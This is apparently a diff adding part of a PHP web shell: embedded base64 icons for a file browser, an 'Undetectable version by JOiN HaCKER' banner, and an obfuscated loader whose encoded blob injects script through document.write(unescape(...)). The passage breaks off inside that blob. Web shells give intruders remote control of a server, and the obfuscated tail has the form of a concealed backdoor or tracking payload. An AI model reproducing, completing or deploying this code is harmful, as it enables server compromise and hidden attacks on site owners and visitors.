+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center>Undetectable version by <br> JOiN HaCKER <br> <img src=\"http://www.kurdup.com/uploads/9b8568bbd4.png\"></center>";} +$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRS